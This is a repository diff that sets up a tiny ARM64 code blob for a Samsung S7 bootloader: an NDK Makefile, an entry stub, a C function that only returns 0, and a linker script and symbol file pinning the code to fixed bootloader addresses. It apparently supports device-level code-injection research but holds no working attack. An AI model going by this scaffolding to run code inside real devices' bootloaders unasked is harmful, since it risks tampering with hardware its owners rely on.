LD := $(ANDROID_NDK_ROOT)/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android-ld.bfd
|
||||
|
||||
#==================Target Samsung S7 (8890)==================
|
||||
CFLAGS_SAMSUNGS7 = -Os # -Os for optimization for size
|
||||
|
||||
print:
|
||||
$(CC) entry.S -c -o entry.o $(CFLAGS_SAMSUNGS7) # -c compiles assembly code, and -o creates an object file (containing linking and symbol information)
|
||||
$(CC) $(CFLAGS_SAMSUNGS7) -c test_print.c -o print.o # compiles test_print.c to print.o
|
||||
$(LD) -T test_print.ld entry.o print.o -o print.elf --just-symbols=symbols.txt # -T for linker script, --just-symbols for symbols file
|
||||
$(OBJCOPY) -O binary print.elf print.bin
|
||||
|
0
source/screen_print/Readme.md
Normal file
0
source/screen_print/Readme.md
Normal file
2
source/screen_print/entry.S
Normal file
2
source/screen_print/entry.S
Normal file
@ -0,0 +1,2 @@
|
||||
start:
|
||||
b notmain
|
BIN
source/screen_print/entry.o
Normal file
BIN
source/screen_print/entry.o
Normal file
Binary file not shown.
BIN
source/screen_print/print.elf
Executable file
BIN
source/screen_print/print.elf
Executable file
Binary file not shown.
BIN
source/screen_print/print.o
Normal file
BIN
source/screen_print/print.o
Normal file
Binary file not shown.
1
source/screen_print/symbols.txt
Normal file
1
source/screen_print/symbols.txt
Normal file
@ -0,0 +1 @@
|
||||
jh_print_to_screen = 0x8f0222d0;
|
16
source/screen_print/test_print.c
Normal file
16
source/screen_print/test_print.c
Normal file
@ -0,0 +1,16 @@
|
||||
#include <stdint.h>
|
||||
|
||||
void jh_print_to_screen(int param_1,int param_2,int param_3,int param_4,int param_5,char *param_6,
|
||||
int param_7);
|
||||
|
||||
// uint r_log(char *fmt,...);
|
||||
|
||||
int notmain(char *msg, int msg_len){
|
||||
// jh_print_to_screen(0x1234, 12, 0xfff, 0xfff, msg, msg_len, 2);
|
||||
// volatile int a = 0;
|
||||
// for(int i = 0; i < 100000; i++){
|
||||
// a++;
|
||||
// }
|
||||
// while(1);
|
||||
return 0;
|
||||
}
|
14
source/screen_print/test_print.ld
Normal file
14
source/screen_print/test_print.ld
Normal file
@ -0,0 +1,14 @@
|
||||
MEMORY {
|
||||
ROM (rwx): ORIGIN = 0x8f007de8, LENGTH = 0x108
|
||||
}
|
||||
|
||||
SECTIONS
|
||||
{
|
||||
. = 0x8f007de8;
|
||||
.text . : {
|
||||
*(.text*)
|
||||
*(.data*)
|
||||
*(.rodata*)
|
||||
} >ROM
|
||||
|
||||
}
|
Loading…
Reference in New Issue
Block a user